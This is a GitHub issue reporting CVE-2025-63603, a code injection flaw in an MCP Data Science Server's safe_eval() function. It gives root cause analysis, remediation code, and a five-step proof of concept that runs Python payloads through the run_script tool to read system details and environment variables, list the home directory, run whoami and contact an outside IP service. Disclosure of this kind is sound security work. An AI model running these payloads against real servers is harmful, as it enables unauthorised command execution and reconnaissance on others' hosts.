Skip to content

CVE-2025-63603: Command Injection #12

@P0LESTAR

Description

@P0LESTAR

CVE-2025-63603.

Summary

A critical command injection vulnerability has been identified in the MCP Data Science Server's safe_eval() function. Despite its name suggesting safety, this function allows arbitrary Python code execution with full system privileges, enabling complete system compromise.

Vulnerability Details

Location

  • File: src/mcp_server_ds/server.py
  • Function: ScriptRunner.safe_eval() (Line 108)
  • Component: MCP Data Science Server

Root Cause Analysis

The vulnerability stems from three critical security flaws:

1. Unsafe exec() Usage

def safe_eval(self, script: str, save_to_memory: Optional[List[str]] = None):
    # ❌ VULNERABLE: Direct execution of user input
    exec(script, 
         {'pd': pd, 'np': np, 'scipy': scipy, 'sklearn': sklearn, 'statsmodels': sm}, 
         local_dict)

2. Missing __builtins__ Restriction ⚠️ CRITICAL FLAW

The globals dictionary lacks the '__builtins__' key. When this key is missing, Python automatically adds all built-in functions, including dangerous ones like:

  • __import__() - Import any module
  • exec() - Execute additional code
  • eval() - Evaluate expressions
  • open() - Access file system
  • getattr() - Access object attributes

3. No Input Validation

User-provided scripts undergo zero validation before execution.

Proof of Concept

Test Environment

  • Target: MCP Data Science Server
  • Python Version: 3.11.9
  • Operating System: Windows 10
  • Attack Vector: run_script tool

PoC Execution Results

Phase 1: System Information Gathering

# Payload
print("=== Command Injection PoC - System Information ===")
import sys, os, platform, getpass
print(f"Python Version: {sys.version}")
print(f"Operating System: {platform.system()} {platform.release()}")
print(f"Current User: {getpass.getuser()}")
print(f"Working Directory: {os.getcwd()}")

Result:

Image

Phase 2: Environment Variable Access

# Payload
import os
critical_vars = ['PATH', 'USERNAME', 'USERPROFILE']
for var in critical_vars:
    print(f"{var}: {os.environ.get(var)}")

Result:

Image

Phase 3: File System Reconnaissance

# Payload
import os
print("User directory contents:")
items = os.listdir(os.path.expanduser('~'))
for item in items[:8]:
    print(f"  {item}")

Result:

Image

Phase 4: System Command Execution

# Payload
import subprocess
result = subprocess.run(['whoami'], capture_output=True, text=True)
print(f"Command Output: {result.stdout.strip()}")

Result:

Image

Phase 5: Network Information & External Connectivity

# Payload
import socket, urllib.request
print(f"Local IP: {socket.gethostbyname(socket.gethostname())}")
response = urllib.request.urlopen('http://httpbin.org/ip')
print(f"External IP: {response.read().decode()}")

Result:

Image

Impact Assessment

Immediate Threats

Complete System Information Disclosure

  • Operating system details
  • User account information
  • Directory structure mapping
  • Network configuration

File System Access

  • Read/write access to user directories
  • Access to configuration files (.aws, .azure, etc.)
  • Potential access to SSH keys and credentials

Command Execution Capability

  • Execute arbitrary system commands
  • Install malware or backdoors
  • Lateral movement within network

Network Reconnaissance

  • Internal IP address disclosure
  • External connectivity confirmation
  • Potential for data exfiltration

Technical Deep Dive: Why the Attack Works

The __builtins__ Auto-Addition Mechanism

# Current vulnerable code
globals_dict = {'pd': pd, 'np': np, 'scipy': scipy, 'sklearn': sklearn, 'statsmodels': sm}
exec(script, globals_dict, local_dict)

What Python does internally:

# Python automatically adds this when '__builtins__' key is missing:
globals_dict['__builtins__'] = {
    '__import__': __import__,
    'exec': exec,
    'eval': eval,
    'open': open,
    'getattr': getattr,
    'setattr': setattr,
    # ... and 100+ other built-in functions
}

This auto-addition mechanism completely bypasses any intended security restrictions.

Remediation

Add '__builtins__': {} to the globals dictionary

def safe_eval(self, script: str, save_to_memory: Optional[List[str]] = None):
    # ✅ SECURE: Explicitly restrict builtins
    safe_globals = {
        'pd': pd, 'np': np, 'scipy': scipy, 'sklearn': sklearn, 'statsmodels': sm,
        '__builtins__': {  # ⚠️ CRITICAL: Must be explicitly defined
            # Only include absolutely necessary functions
            'len': len,
            'str': str,
            'int': int,
            'float': float,
            'print': print,  # For output capture
            # ❌ NEVER include: __import__, exec, eval, open, getattr
        }
    }
    
    exec(script, safe_globals, local_dict)

Replace exec() with Safe Alternatives

  • Use AST (Abstract Syntax Tree) parsing for code validation
  • Implement a restricted Python execution environment
  • Consider using RestrictedPython library

Conclusion

The MCP Data Science Server contains a critical command injection vulnerability that provides attackers with complete system access. The root cause is the automatic addition of Python's __builtins__ when the key is missing from the globals dictionary in exec() calls.

Immediate action required:

  1. ✅ Add '__builtins__': {} to the globals dictionary
  2. ✅ Implement input validation
  3. ✅ Consider replacing exec() entirely
  4. ✅ Deploy security testing procedures

I want to issue a cve. If it's hard to report it directly, I can do it for you

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions